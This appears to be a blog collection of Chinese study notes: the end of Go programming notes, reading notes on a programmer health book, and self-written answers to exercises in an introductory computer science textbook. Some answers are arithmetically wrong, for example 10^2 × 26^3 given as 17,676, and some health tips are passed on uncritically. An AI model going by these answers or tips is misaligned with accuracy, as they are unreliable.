- 解决：加一层匿名函数
defer 把后面的函数（不管是具名还是匿名）整体当作一个栈帧压入
defer 的函数或方法和表达式定义时求值，如果加上引用闭包函数或是值地址的话会变成引用最后一个
闭包：由函数和与其相关的引用环境组合而成的实体

第六章方法

方法等于函数：
- 方法变量：已确定选择子 e.g. m := p.Method()
- 方法表达式：未确定选择子，第一个参数传入选择子 e.g. (*T).Method(p)
T 与 *T 不同，拥有的方法不同，实现的接口也不同：
- *T 拥有 T 的方法
- 则实现了 *T 接口的值也实现了 T 接口
嵌入结构体：
- 本质：类型名作为字段名
- 可访问深层的可导出字段和方法
- 包装分层：
  - 直接关联的方法
  - 第一层
  - 第二层
  - ...
函数返回 *T 类型才可以直接访问字段（一行内）（作表达式）

第七章接口

接口值：接口类型的值
- 动态类型（具体类型）：类型描述符
- 动态值（具体值）：指针的副本
接口值可比较，相等条件：
- 同为 nil
- 动态类型相同，且动态值用动态类型比较时也相等。当动态类型不可比较时 panic
类型断言 x.(T)：x 为接口值，T 为具体类型或接口类型，表达式返回一个新值
- 运行时错误
- 接口值->具体类型（当x的具体类型是T）
- 接口值->接口值（接口类型转换：当x的具体类型实现了T接口时，返回一个接口值，类型为T，具体类型和具体值不变）
赋值 a = b：a 为接口值，b 为具体类型值或接口值
- 编译时错误
- 接口值=具体类型值（具体类型必须实现对应接口值的接口）
- 接口值=接口值（b类型必须实现了a的接口）
- 显示转换：a = io.Writer(b)

第八章 Goroutine 和 Channel

并发（concurrency）指能够让多个任务在逻辑上交织执行的程序设计，并行（parallelism）指物理上同时执行
for range 可用于通道：接收完最后一个后退出循环
close(通道) 时发生 panic：
- nil 通道
- 已关闭的通道
- 只能接收的通道
单向通道不能转换成双向通道
make(通道)：只有 cap，但是可以访问 len（表示通道当前元素数）和 cap
计数信号量：用缓冲通道实现，容量为 n，最多只能有 n 个 goroutine 同时运行
- 开始：获取令牌 -> 发送一个值到通道
- 结束：释放令牌 -> 从通道中接受一个值
select（多路复用）：
- 和 switch 一样只执行一次，但必须执行一次
- 对每个分支都尝试过且不能通信才执行 default 语句
等待所有的 goroutine 执行结束：
- 已知 goroutine 数量：开 x 个，发送 x 次，对应接收 x 次（在阻塞通道上）
- 未知 goroutine 数量：sync.WaitGroup
  - 每建立一个 goroutine -> wg.Add(1)
  - 每当一个 goroutine 结束 -> wg.Done()
  - 并在另一个 goroutine 中 -> wg.Wait()：阻塞，直到 wg 为零

第九章基于共享变量的并发

避免数据竞态的方法：
- 不修改变量
- 把变量限制在单个 goroutine，通过通道来使用这些变量（使用监控 goroutine 来代理变量的访问）
- 串行受限：多个 goroutine 和多个通道形成的管道中把变量发送出去后不再修改
- 互斥量
互斥锁（写锁）：sync.Mutex
- Lock()
- Unlock()
多读单写锁（读锁、读写锁、共享锁）：sync.RWMutex
- RLock()：读时使用
- RUnlock()：不读时使用
- 升级后也支持写锁的方法：Lock() Unlock()
sync.Once
- Do(func)：只执行一次
m:n调度：调度 m 个 goroutine 到 n 个线程，n 对应 GOMAXPROCS

第十章包和工具

编译速度快的原因：
- 导入声明在文件的头部：不用读取整个文件就可以确定依赖
- 依赖关系形成 DAG：可以并行编译
- 目标文件还记录了依赖包的导入声明
导入分类：
- 重命名导入
- 顶级声明导入
- 空导入
go 工具标识包的方法：
- 导入路径
- 绝对路径
- 相对路径：相对于 $GOPATH/src/，需要以./或../开头，不然会被误认为是导入路径。
GOOS：linux darwin windows
GOARCH：amd64 386 arm
go get -u gopl.io/...
- 如果是 main 包的话会安装可执行程序
- 也会下载该包的依赖
- -u：如果已存在，则覆盖更新
- ...：下载该仓库下的所有子仓库
go build：
- 库：不保留任何结果
- main 包：不保留目标文件，只保留可执行程序
go install：保留目标文件。
为不同的 OS 或 ARCH 编译不同的代码：
- 包级：文档注释里 // +build linux drawin 表示只在 linux 或 drawin 下编译
- 文件级：文件名包含 GOOS 或 GOARCH：只在对应的 GOOS 或 GOARCH 编译该文件
- 代码块级：// +flag middle_code // -flag：设置 flag 标记时才编译 middle_code
go doc 注释：
- 包（doc.go）：// Package fmt implements ...
- 导出函数：// Print implements ...
内部包：导入路径含有 internal 目录：net/http/internal/chunked 可被导入规则：
- internal 一个父级包：net/http
- internal 多个同级包：net/http/...

第十一章测试

已总结到这篇博客：https://www.sulinehk.com/post/golang-unit-testing/。

第十二章反射

非导出字段在反射下可见，但是不可更新
reflect 包：
- Zero(Type) Value -> 返回类型的零值
- New(Type) Value -> 返回一个指针，指针指向 Type 类型的零值
reflect.Type 接口类型：
- TypeOf(interface{}) Type -> 取接口值中的动态类型
- t.Method(i) Method -> 返回 Method 类型的值，该值描述了该方法的名称和类型
reflect.Value 接口类型：
- ValueOf(interface{}) Value -> 取接口值中的动态值
- v.Method(i) Value -> 返回一个方法变量，调用方法：v.Call(in []Value) []Value -> v 必须是 Func 类型
- Type() Type
- Interface() interface{}
- Kind() Kind
- CanAddr() bool
- ValueOf(&x).Elem() Value -> 返回任意变量 x 可寻址的 Value 值
- ValueOf(s) 不可寻址；VauleOf(s).Index(i) 可寻址：s[i] = *s[i] 隐式解引用
- CanSet() bool -> 是否是可设置的：结构体的非导出字段可寻址（读取）但不可设置
- IsValid() bool -> 是否是一个 Value，零值 Value 也返回 false
从可寻址的 Value 更新变量：
- 原始：
  - Addr() Value -> 返回一个指向变量的指针
  - Interface() interface{} -> 返回包含这个指针的接口值
  - 对返回的接口值进行类型断言，转换成一个普通指针
  - 通过这个普通指针来更新变量
- Set(Value)
- SetInt(Value)...：不可在指向 interface{} 变量的 Value 上使用
Kind 分类：只关心其底层类型
- 基础类型：Int Uint Float Complex String Bool
- 聚合类型：Array Struct
- 引用类型：Chan Func Ptr Slice Map
- 接口类型：Interface
- Invalid 类型：Invalid -> 还没有任何值，也是 Value 类型的零值
不同类型可安全使用的操作：
- Array, Slice:
  - Len() int
  - Index(int) Value
- Struct:
  - NumField() int
  - Field(int) Value
- Map:
  - MapKeys() []Value -> 每个 Value 都是 map 中的键
  - MapIndex(Value) Value -> 返回键对应的值
- Ptr:
  - IsNil() bool -> 判断指针是否为 nil
  - Elem() Value -> 返回指针指向的元素
- Interface:
  - IsNil() bool
  - Elem() Value -> 获取动态值

第十三章底层编程

编译期间：类型检查机制
无法静态检测：
- 数组越界访问
- nil 指针引用
字在不同平台下的长度：
- 32 位：4 字节
- 64 位：8 字节
unsafe 包由编译器实现
内存对齐：为了更高的效率
- 2 字节（int16）-> 把地址对齐成 2 的整数倍
- 4 字节（int32）-> 4 的整数倍
- 8 字节（float64）-> 8 的整数倍
聚合类型长度至少为其所有成员之和：会插入内存空隙来对齐

类型的长度：

类型	长度
bool	1 byte
intN uintN floatN complexN	N/8 byte
int uint uintptr	1 word
*T	1 word
string	2 word(uintptr+len)
[]T	3 word(uintptr+len+cap)
map	1 word
func	1 word
chan	1 word
interface	2 word(type+value)

Sizeof(x 任意类型) uintptr
- 参数为任意类型的表达式，这个表达式不会被计算
- 表示参数在内存中占用的字节长度（固定长度）
- 固定长度：e.g. 参数为字符串时只会报告 string 类型字节长度，而不会报告字符串包含的真正字节长度
Alignof(x 任意类型) uintptr
- 参数为任意类型的表达式，这个表达式不会被计算
- 表示参数要求的对齐长度
  - 布尔、数值类型：对齐到它们的长度（最大 8 字节）e.g. bool -> 1; int16 -> 2
  - 其他类型：按字对齐（4 或 8 字节）
Offset(x 任意类型)
- x 必须是一个成员选择器（s.f）
- 计算 f 相对于 s 的偏移值（结构体开头和字段开头之间的字节数），包括内存空位
返回值都是常量，单位都是字节
转换：
- *T <-> unsafe.Pointer <-> uintptr
- 普通指针 <-> 中间变量 <-> 可计算指针
FFI：外部函数接口 e.g. cgo
cgo 使用 import "C" 前的注释（紧贴、无空行）来生成临时包 C。
cgo 参数：为编译器和链接器命令指定额外的参数，用于发现头文件 bzlib.h 和目标文件 libbz2.a
- //#cgo CFLAGS: -I/usr/include
- //#cgo LDFLAGS: -L/usr/lib -lbz2
- 现在假设它们都安装在 /usr 下
C 调用 Go：
- 将 Go 编译成静态库然后链接进 C
- 将 Go 编译为动态库通过 C 来加载和共享
不要使用 uintptr 类型的临时变量：GC 移动时会把原来指向旧地址的指针改成指向新地址，但 uintptr 不是指针，所以地址不会被改变，导致指针指向错误的地址。

【读书笔记】程序员健康指南

Mon, 02 May 2022 07:23:08 GMT

第一章做出改变

爬完一层楼梯，你是否会喘不过气?
你是否经常一坐就是一个多小时?
在最近一年内，你是否曾经因为背痛、颈痛、肩痛或手腕痛而使工作受到影响?
在最近一周内，你的眼睛是否有过干涩、充血、发炎的症状，或是看完电脑屏幕之后难以看清别的东西?
在最近一个月内，你是否至少有一次因吃得太饱而感到难受?
今天你暴露在阳光下的时间是否不超过10分钟?
在最近5年内，你的蛀牙是否增加了?
弯下腰系鞋带时，你是否感到不适?
过去5年内，你的腰围是否明显增大了?

对于这些问题，哪怕只有一个答案是肯定的，那么你的健康状况就可能处在危险边缘—即使你认为自己的身体状况保持得还不错。

体育锻炼不但能促进蛋白质的生成，从而巩固脑组织的神经化学物质平衡，还能提高大脑的氧气和葡萄糖水平，进而提高我们的认知能力。

改变习惯的关键在于，在维持原先的暗示信号和奖赏的同时，以新的惯例行为代替旧惯例行为。

锁定暗示信号
锁定奖赏
设计新的惯例行为

第二章努力健康起来吧

出去走个5分钟或10分钟，回来再继续读下去。随着血液回流到大脑，你会发现自己的思考能力、记忆力和专注力都增强了。事实上，已有一些科学研究表明，这类锻炼对人们学习新事物的能力有直接的影响。

研究显示，在学习新事物之前或之后进行体育锻炼，能帮你巩固记忆。

每天锻炼20分钟，英年早逝的风险将有效地降低20%。

受试者的步行强度应该以个人最大摄氧量的50%为准。和心率比较，这个说法好像复杂了些，因为每个人情况都各不相同。一般来说，最大摄氧量的50%大约是最大心率的60%。最大心率可以用220减去你的年龄得出。平均30岁左右的人，其基准心率需达到每分钟114下(114BPM)，达到这个数值的运动才是最有效果的。

测量心率最简单的方法就是触摸颈部或者手腕的脉搏，下图是用手腕测量心率法。在10秒钟内测得脉搏跳动的次数，再用该数乘以6。我的是 90。

行动起来：

如果遇到棘手的问题解决不了，不妨出去走一走。
在学到新知识后，出去走一走。
把车停在停车场最里边，这样就能多走一会儿路去办公室了。
走楼梯，不坐电梯。
玩电视游戏时，尽量选择需要四肢协作的游戏，而不是使用只需控制器的游戏。
每两个星期测量一次静息心率。
记录每天散步的步数，给自己设定一个目标。
练习步行技巧，改掉不正确的步行方式。这肯定能帮你提速，而且还能让你避免受伤或过度疲劳。

第三章永别了，椅子？

每天坐着看一个小时电视，与死亡风险(不考虑具体原因)提高11%有一定的关联。

每小时进行5分钟的活动，能降低患上许多致命疾病的风险。

长时间保持单一姿势都是不妥当的。

行动起来：

每小时要休息5分钟。
每天至少用三种不同的姿势工作。
同一个姿势最好别持续20分钟以上。
在工作时，最好做一些灵活性锻炼。
定期测量血压，了解你适合用哪种测量方式，并注意血压有无产生很大变化。
办公室应该备有不止一种椅子:一张常规的办公室椅子、一个健身球、一张高脚凳，甚至还可以有一张“自行车式办公桌”。

第四章灵活的饮食方案

30%的水果及蔬菜;
30%的谷物及淀粉类食品;
16%的精益蛋白质(肉类、鱼类、蛋类和豆类食品);
16%的牛奶及奶制品;
8%的脂肪及糖类食品。

“一日五蔬果”计划建议你每天摄入五份水果或蔬菜，举个例子，早餐吃半个葡萄柚，午餐一份鲜果奶昔(如果共有150毫升，水果或蔬菜含量是百分之百，这就可以算两份蔬果了)，下午茶时间再吃一个苹果，晚餐则吃两小棵花椰菜。

每天吃五份水果或蔬菜，以确保膳食结构的均衡营养。

当首次产生吃的冲动时，只要能顺利克服，以后你都能更轻松应对。那是因为你可能同时正忙着写代码，这对大脑来说是一样的奖赏。已有研究表明，创作性问题的解决过程能够使大脑产生多巴胺，这和在吃东西时大脑得到的化学奖赏是一样的东西。

第一步，让我们来计算你的身体每天所消耗的热量。用科学术语来说，这叫做“基础代谢率”(BMR)。计算基础代谢率最准确的方法是使用 Mifflin-St Jeor 公式。男性的计算公式如下(分别采用英制和公制单位表示):

BMR=[4.5×体重(磅)]+[16×身高(英寸)]−(5×年龄)+5 BMR=[10×体重(公斤)]+[6.25×身高(厘米)]−(5×年龄)+5

行动起来：

尝试几种不同的饮食方案，别害怕失败，尽管去试试吧。
把办公室的糖果罐子和软性饮料换成水果、蔬菜和水果冰沙。
在蔬菜中加入沙拉酱或芝士，让它们变得更可口。
试着每个周一不吃肉。
计算BMR值。别忘了把通过锻炼燃烧的热量加进去。更加明确每天身体消耗热量。
为饮食方案制定一些规则。你确实可以把某些项目排除在外，但如果把它们加到规则里，就更容易实现饮食目标了。例如，每天吃五份水果或者蔬菜。
不要每天都计算热量，这事儿算不清楚的。相反，你只要认真计算某一天的热量值，将之作为参考数值，制定一个有效的系统或者其他能启发你的系统就行了。
制定两份不同的饮食方案:一份是减肥用的，一份是能让你一生受用的。这两份都要能使你愉悦。
对饮食方案使用迭代法。循序渐进地减少热量的摄入。对食物的不同分量进行测试。对客观条件做出反应。要学会灵活变通。

第五章预防头痛和眼部疲劳

程序员们最常见的病症是电脑视觉综合征(Computer Vision Syndrome，CVS)。那些每天在电脑前待三个小时或以上的人，90%都受到这种疾病的困扰。

大多数视力测试应用软件都能够测试视敏度(从一段较远的距离查看视力检测表)、视网膜功能(通过检测因视网膜的变化而引起的视觉障碍)和色盲。

使用度数准确的医学镜片很重要，如果度数不准确，你的眼睛要聚焦就更加费劲。过不了多久，眼睛周围的肌肉就会觉得疲劳，这样可能会导致头痛，甚至引发更多和视力有关的问题。

你的脸离电脑屏幕有多近?

两者的距离应该在51厘米到101厘米之间。这个距离和你的手臂差不多长，所以可以用手臂直接比划一下。如果你能与屏幕来个击掌，那就离得太近了。如果碰不到屏幕，那最好挪近点。在阅读字体较小的文章时，视距过远容易导致眼部疲劳。视距过近同样会导致眼部疲劳，因为眼部周围的肌肉需要更加费劲才能聚焦。这甚至有可能导致眼会聚障碍——眼睛无法左右转动，或无法保持会聚。

显示器是不是比室内周围环境还要亮?

亮度可能听起来很难判断，其实不然。举起这本书移向显示器(你读的要是电子版，则另换一本纸质书)。随着书移近显示器，如果书能被逐渐照亮的话，那你的显示器就太亮了(或室内环境太暗)。如果室内和显示器的亮度差别太大，则极容易导致眼部疲劳。看了一会儿周围的环境，瞳孔会放大，再看回电脑的时候，你可能就得眯起眼睛。如果办公室有自然采光，那么白天的时候，最好根据室内光线的变化来调整显示器的亮度。

显示器有没有过度炫光?

要想了解这一点，你可以调整视线，好像看着显示器后面的某样东西一样。你看到什么了?如果能从显示屏上看见它反射出你身后的窗户，那它的炫光就很强了。炫光对眼睛造成的损害，和亮度过高的显示器对眼睛的损害，原理是差不多的。

你的显示屏颜色是红色为主还是蓝色?

总的来说，红色调的光线比蓝色调的对眼睛的损害较轻。事实上，许多研究已表明蓝色光能对细胞结构产生危害。这与蓝色光线中那些较短的光波(400~470纳米)有关，它们的数值已经非常接近紫外线的数值了。人眼的晶状体和眼角膜——我们会在下面的插图标出这两个结构的位置——能过滤紫外线，而蓝色光线则能顺利通过，因此对视网膜危害极大。通过降低显示屏的色温，你可以减少眼睛与蓝色光线的接触，也能效减少显示器释放蓝色光线。不过这样一来，制作平面图或者视觉媒体时就可能会产生色差了。如果没法调节色温，那就把电脑桌面背景、IDE配色方案或其他需要长久注视的地方换成红色系。 CVS是一种暂时现象，是由眼睛长期注视电脑屏幕导致的。其症状包括头痛、眼睛干涩、眼部刺激、眼睛充血、视力模糊、颈部疼痛、眼部疲劳、视觉重影和眼睛无法聚焦等。

经常眨眼

经常眨眼能保持眼睛的湿润，还可强化眼角膜外的保护膜。在电脑面前工作时，我们眨眼的次数变少了，顶多是平时的五分之一。这就使眼睛很快变得干涩。因此，要提醒自己经常眨眼，最好是每20分钟提醒一次。缓缓合上眼睛，好像睡着那样，然后再睁开眼，重复10次。

进行眼部锻炼

眼部疲劳的首要原因，就是它们总是长时间保持对某个点的聚焦。想象一下长时间提着某一样重物，过一会儿你就得换个手，对不对?因此，锻炼眼部也是很有必要的。记住“20-20-20法则”:每在电脑前面工作20分钟，就看看20英尺(6米)远的物体，大概看20秒钟。

注意休息

总听别人说要注意休息，你应该都听腻了吧。但是让你休息还有另外一个原因:按照美国国家职业安全卫生研究所的说法，电脑工作者在工作时，如果能多休息4次，每次5分钟，就能有效缓解眼睛不适和疲劳。

摘掉眼镜

许多近视者在使用电脑其实不需要戴眼镜。尝试摘下眼镜，你会发现没戴眼镜也能看清楚。事实上，很多验光师都建议，尽可能不要总戴着眼镜。

使用滤光眼镜(可能的话)

如果在用电脑时可以不戴眼镜，还可以试试滤光眼镜。滤光眼镜制造商声称，这种眼镜能提供更舒适的佩戴体验和视觉环境，从而过滤“人造”光线，降低眼压。有一些早期的研究显示这种技术有助于减少眼部刺激、眼睛干涩、流泪及眼部疲劳。但是，也没有明确的证据表明它们一定有用。这方面还需要进一步研究和验证。

头痛的原因：

天气：低气压、高温、高海拔
荷尔蒙：月经期、怀孕期、更年期
感官刺激：香水、清洁用品、强光、吸烟
高强度体力活动：有氧锻炼、举重、脱水、性行为
生活方式：缺乏睡眠、压力
饮食方式：咖啡因、谷氨酸钠、阿斯巴甜、酒精

保持身体水份充足可预防头痛。因此，要确保每天都摄取了足够的水分，每顿正餐喝一大杯水(大约16盎司)，然后当晚再喝一杯。

治疗头痛最好的方法，就是把灯光调暗，躺下来，闭上眼睛，试着放松。这个方法没有副作用，不会导致反弹性头痛。要是有可能，在前额放一条浸湿的凉毛巾。

头痛的症状：

头痛得厉害，好像要爆炸一样;
头痛超过24小时，且越来越痛;
因头痛而出现口齿不清、视力状况变化、手臂或腿无法动弹、身体失去平衡、头脑混乱或记忆退化等;
因头痛而出现发烧、颈强直、恶心及呕吐等症状;
因为头部受伤而引发的头痛;
头痛时，一只眼睛有痛感且充血。

行动起来：

脸部和显示屏的距离应该保持在51至101厘米之间。
调节显示器和办公室室内的亮度，达到平衡。
经常眨眼，保持眼睛湿润，预防电脑视觉综合征。
使用“20-20-20法则”来锻炼眼睛。
留意一下，你在头痛前吃了什么东西。两者之间可能有关联。
使用含有消炎药成分的药物(如果医生同意的话)来对抗头痛。但是别经常使用，头痛停止后也应该尽快停用药物。
经常检查眼睛，以防出现某些没有症状的眼部疾病。

第六章预防背部疼痛

观察背部疼痛有许多方法，其中最常用的办法应该是克劳斯韦伯体能测试(Kraus-Weber Test)。克劳斯韦伯测试(简称K-W测试)是关于“最低肌肉能力”的体能测试，用以衡量人体大肌肉群的力量和柔韧性。

普拉提是一套系统的锻炼方法，以专注、呼吸和控制为原则，通过锻炼提高身体的能量源(即核心肌肉群，主要包括腹部、髋部和背部的肌群)的力量和柔韧性。大量新近的研究都发现，普拉提可以帮助慢性非特异性下背痛患者缓解疼痛、改善肌体功能。

身体要有支撑

调整椅子的高度，给背部提供适当的支撑。髋部和膝盖应该保持在同一水平线，这样你的身体就不容易向椅子前面或后面滑动了。你可能还需要调整桌子的高度，使手肘和手腕保持在同一水平线上。这样一来，肩膀的压力小了，背部的压力也就相应小了。

平均分配身体重量

当你坐在椅子上时，要保证身体的重力平均地落在你身体四周的支撑物上。所以，你需要调整身体，让上半身与椅面垂直对齐，而且还要注意一些不利于身体平衡的姿势，比如翘二郎腿、驼背和身体歪向一边。通过调节椅子的高度，并且让上半身与椅面垂直对齐，这些小动作通常都能够避免。

脊椎要有支撑

椅子最好要有腰部支撑部件，才能分担脊椎承受的重量和压力。很多椅子都装有一个可调节的腰部支撑配件，但其实只要保持正确坐姿就足够了(之前我们也说过了)。要给脊椎提供额外的支撑，建议你在腰部垫一条卷起的毛巾。

双脚保持着地

一个最容易被人忽视的姿势就是双脚要着地。这样有助于支撑下半身的重量，保持身体平衡。如果脚碰不着地，但姿势是正确的，这时可以找一张搁脚凳来垫脚。

行动起来：

在每次锻炼中，轮换进行不同的无器械锻炼。如果你做腻了这些运动，可以试试一些普拉提或瑜伽动作。
通过测试找到适合自己的坐姿。也许一开始保持正确的姿势很难，但你一定会找到最适合自己的坐姿。
如果感觉背部疼痛，请马上起立。如果已经对办公桌进行了改良，那就继续站着写代码吧。
用K-W测试进行自我评估，但别把测试内容作为日常锻炼。如果不断重复某些动作，比如单腿仰卧起坐，会加重背部疼痛。

第七章预防手腕疼痛

手腕的神经滑动运动：

爵士手
皮影戏偶
埃及人
耸肩
头部倾斜

行动起来：

进行一些神经滑动运动，来润滑手臂的肌腱和神经，最终缓解手腕疼痛。
如果很喜欢瑜伽课，就把它变成一项日常活动吧。你还可以把它安排到日常清单中的20分钟锻炼里。
使用亚历山大疗法来观察、抑制和引导你每天重复无数次的坏习惯。

第八章让锻炼贴近生活

使用番茄工作法。

行动起来：

使用番茄锻炼法，为日常生活增加一些锻炼活动。
在开始检查代码或者结对编程之前进行一些锻炼，以加强大脑的认知弹性。
记录锻炼情况，写下自己每天做了什么(或者没做什么)。你可以使用本书的辅助iPhone应用，写锻炼日志轻而易举。
玩游戏。不管是Wii的网球游戏还是现实的网球，游戏都能让健身变得充满乐趣。
为自己设定目标，作为对自己的挑战。这是激励自己健身的最好方法。

第九章到户外来思考

现在就去补充点维生素D吧。到户外去，卷起袖子，让皮肤暴露在阳光下，越多越好。如果室外正好阳光灿烂，你又能待上10分钟，你的身体就能合成足够一天使用的维生素D了。不过，从办公室窗户透进来的那些阳光不算，因为玻璃会过滤掉紫外线。

肤色浅的人每天需要进行大约10分钟没有防晒措施的日光浴来合成足量的维生素D。如果你是西班牙裔，这个时间就得翻倍。而肤色非常深的人，则需要六倍的时间。

预防感冒：

用香皂和清水勤洗手。如果手边没有水，美国疾病控制与预防中心(CDC)则建议经常使用含有酒精的产品对双手进行消毒。
清洁办公桌。一些感冒病毒(例如鼻病毒)的存活时间能长达3个小时。使用杀菌消毒液清洁办公桌之类物品的表面能够防止病菌的传播。
不要触摸脸部。感冒病毒可通过嘴、鼻子和眼睛进入人体。避免用手触摸这些器官则可以降低患病风险。
经常进行户外活动。我们会在下一节重点探讨，为什么即使没有阳光，户外活动也能增强免疫系统，还能减少与传染性病毒携带者的接触。

比起城市环境，在森林里进行20分钟的步行或者常规活动，更加有益于身心健康。

行动起来：

每天花至少10分钟时间晒晒太阳，以使身体合成足够的维生素D。如果肤色较深，那么晒太阳的时间应该要更长些。
了解家族病史，这会影响你为自己的健康所做的决定。
不在都市，而是在森林进行一次步行。这种方式已经被证明能够舒缓压力、降低血压和心率，同时增强免疫系统。把步行所及的地点记录在锻炼日志中。
到室外去工作。如果恰逢天气晴朗，那就别闷在办公室里，到公园里安排一次吧。
放下工作，闻闻玫瑰花香——说真的。一些像常青树这样的自然气息能促进抗癌蛋白的生成。
关掉iPod。森林环境对人体健康大有益处，很可能跟小鸟的鸣唱和森林的声音有关。
安排一次到国家公园或者其他户外场所的旅行。尽量在户外待上三天，经证实，这能够促进某些血液白细胞的生成。
把自己的身体当作一个系统。只有让健康保持平衡，身体才能正常运转。良好的膳食结构和大量的运动都是这个系统需要的。

第十章重构健康

不管使用的是哪种锻炼方法，在进行循环训练时，必须时刻遵守以下原则:

每个循环训练应该包含5至9个锻炼动作;
每个具体的锻炼(动作)时间不宜超过30秒钟;
每次循环训练时长应在12分钟与15分钟之间;
在每次循环训练后最好休息2至3分钟，再继续下一个循环训练;每两个相邻的动作最好能锻炼到不同部位的肌肉;
整个训练时间应持续30至60分钟。

在进行每一次循环训练时，可尝试调整所有动作的锻炼次序。你必须防止肌肉过早适应锻炼的强度，让每次锻炼都保持一定的难度。

行动起来：

在高强度锻炼前进行热身运动，能够避免受伤，让表现更加出色。
参加一些需要复杂肢体动作的运动。这样有助于增强运动记忆，从而提高你在其他任务的表现，如编程。
了解自己的BMI值。这种方法单独使用时并没有多少参考价值，但只要结合其他数据，就能为预测疾病风险提供可信的参考。
使用本章推荐的跑步/步行计划来增强有氧运动能力。七周后，你就能一口气跑完2.4公里了。
每周做两到三个循环训练，并在循环训练中加入本章介绍的高强度动作。
在锻炼计划中加入无器械锻炼。如果长时间重复进行某种锻炼，肌肉就会产生适应性，那么锻炼效果就会越来越不明显。
在锻炼活动的尾声进行静态伸展运动。

第十一章组起队来

人们起码从公元一世纪就知道这个方法了，当时的罗马哲学家塞涅卡就曾写道: docendo discimus(拉丁语，意为“教学相长”)。从那时起，大量的实证研究也证明了，教授别人是学习的一种重要方式。事实上，一些研究甚至认为，进行关于某一主题的交谈就能够加深对该主题内容的理解。这就是所谓的“维果斯基联系理论”，它是以首次发现这个理论的俄国心理学家命名的。

行动起来：

谈论与健康有关的话题。问问你的同事，他们如何保持健康。告诉你的同事你如何保持健康。为自己的成果感到骄傲，并且与他人分享你的成功经验。
表现出热情。你应该为自己的健康感到自豪，如果身边的人感受到你的自豪，他们势必会跟随你的脚步。
跟老板讨论健康话题。如果你的公司非常关注员工的工作效率，那么他们也许会很乐意参考本书提供的建议。
与同事互动。组织那些大家都可以参与的比赛或者运动小组。不过，要注意尽量选择能适应不同体能条件的运动，尽量让更多人参与进来。

保持身心健康应该是充满乐趣的。坚持迭代和改变，直到找到能让自己身心愉悦的方法。

第十二章继续行动吧，健康的程序员

无。

【习题解答】计算机科学导论

Mon, 02 May 2022 07:23:08 GMT

第 1 章绪论

复习题：

一种通用计算设备，所有的计算都可以执行。由数据处理器和程序组成。
和图灵模型类似，区别在于，要求程序跟数据一样存储在存储器中。
用来告诉计算机对数据进行处理的指令集合。
用来告诉计算机对数据进行处理的指令集合。
存储器、算术逻辑单元、控制单元、输入/输出。
用来存储的区域，在计算机的处理过程中存储器用来存储数据和程序。
用来进行计算和逻辑运算的地方。
对存储器、算数逻辑单元、输入/输出等子系统进行控制操作的单元。
输入子系统负责从计算机外部接收输入数据和程序；输出子系统负责将计算机的处理结果输出到计算机外部。
- 第一代计算机：以商用计算机的出现为主要特征；
- 第二代计算机：使用晶体管代替真空管；
- 第三代计算机：集成电路（晶体管、导线以及其它部件做在一块单芯片上）的发明更加减少了计算机的成本和大小；
- 第四代计算机：出现了微型计算机；
- 第五代计算机：见证了掌上计算机和台式计算机和诞生、第二代存储媒体（CD-ROM、DVD 等）的改进、多媒体的应用以及虚拟现实。

练习题：

计算机需要人为地定义输入数据和程序，才能产生输出数据。
需要更多的输入数据和更复杂的程序。
不符合。没有程序的概念。
不符合。没有程序的概念。
符合。有程序的概念。
不符合。程序没有存储到存储器里面。
不符合。程序没有存储到存储器里面。
第一代计算机。

第 2 章数字系统

复习题：

四进制系统，它是位置化数字系统。底 b = 4 并且用 4 个符号来表示一个数。符号集是 S = {0, 1, 2, 3}。数字写为：$\pm (S_{k - 1} \cdots S_2 S_1 S_0 . S_{-1} S_{-2} \cdots S_{-l})_{4}$。
在位置化数字系统中，数字中符号所占据的位置决定了其表示的值。在非位置化数字系统中，位置与值无关。
底或基数，即一个符号集中符号的数量。相同。
逢十进一。decimal 来源于词根 decem。底 b = 10。
逢二进一。binary 来源于词根 bini。底 b = 2。
逢八进一。octal 来源于词根 octo。底 b = 8。
逢十六进一。hexadecimal 来源于词根 hex 和 decem。底 b = 16。
在这两个底之间存在一种关系：二进制中的 4 位恰好是十六进制中的 1 位。
4 位。
3 位。

练习题：

13；88；30.25；63.875。
2738；291；2747；862.879。
159；1497；399.875；17.14。
100 1101 0010；101 1000；111 1100.0000 01；1110.1000 1。
2204；143；13.315；110.631。
237；583；C.215；10.8。
14C；109；B.E；2AE。
2432；2341；273.14；5274.15。
15；130；36.2；77.7。
D；58；1E.4；3F.E。
111 1001；100 1110；1111 1111；1101 0110。
11.101；1100.0000 111；100.0011 01；1100.101。
$2^6 - 1$；$10^6 - 1$；$16^6 - 1$；$8^6 - 1$。
17；5；6。
2；3；4。
1/8+1/16；1/2+1/8+1/64；1/4+1/8+1/32；1/4+1/8。
111.0011；1100.1010 01；1011.0110 1；0.011。
$10^{10} - 1$；$2^{12} - 1$；$8^8 - 1$；$16^7 - 1$。
3；5；2；3。
14；8；13；4。
300,556,814；238,611,000；1,846,425,678；406,326,539。
00010001 11101010 00100010 00001110；00001110 00111000 11101010 00111000；01101110 00001110 00111000 01001110；00011000 00111000 00001101 00001011。
15；27；48；1157。
XVII；XXXVIII；LXXXII；CMXCIX。
abc 都是错的。
(12)；(6)(13)；(1)(2)(12)；(3)(2)(16)。括号表示单独一个数字。
a. (38)(11)；(6)(46)；(59)(42)；b. 无法表示整数。用空格或占位符表示一个没有价值的地方，但仅在数字中间位置。

第 3 章数据存储

复习题：

数字、文本、音频、图像、视频。
位模式的长度表示了可表示符号数量的多少，即可能性。
整个图像可以分为多个像素，而每个像素表示一种颜色，而一种颜色可以有多个不同的位来表示。
矢量图重新调整图像大小不会失去信息；如果存储太精妙的、小的信息的话，会需要过多空间。
采样、量化、编码。
无符号：全部编码都用来表示 0 和正整数；符号加绝对值：保留一位来标识符号；二进制补码格式：保留一位来标识符号，但构造成适合处理加负数的形式。
无符号：不能表示负整数；符号加绝对值：保留一位来标识符号；二进制补码格式：保留一位来标识符号，但构造成适合加负数的形式。
无符号：全 0；符号加绝对值：有正 0 和负 0；二进制补码格式：全 0。
标识符号。
a. 提高信息密度来使用和存储；b. 小数点右边的位；c. 符号、指数和尾数。

练习题：

$2^5 = 32$。
$10^2 = 100$ 种；$9^2 = 81$ 种。
$10^2 * 26^3 = 17,676$；$9^2 * 26^3 = 17,657$。
$\log_2 8 = 3$。
$\log_2 7 \approx 3$。
10 位；$2^10 = 1024$；需要，因为 900+300=1200，大于 1024。
$2^4 - 10 = 6$。
$8000 * 256 = 2,048,000$，$\log_2 2,048,000 \approx 21$。
0001 0111；0111 1001；0010 0010；0101 0110。不足填充 0，溢出丢掉左边。
0000 0000 0010 1001；0000 0001 1001 1011；0000 0100 1101 0010；0000 0001 0101 0110。
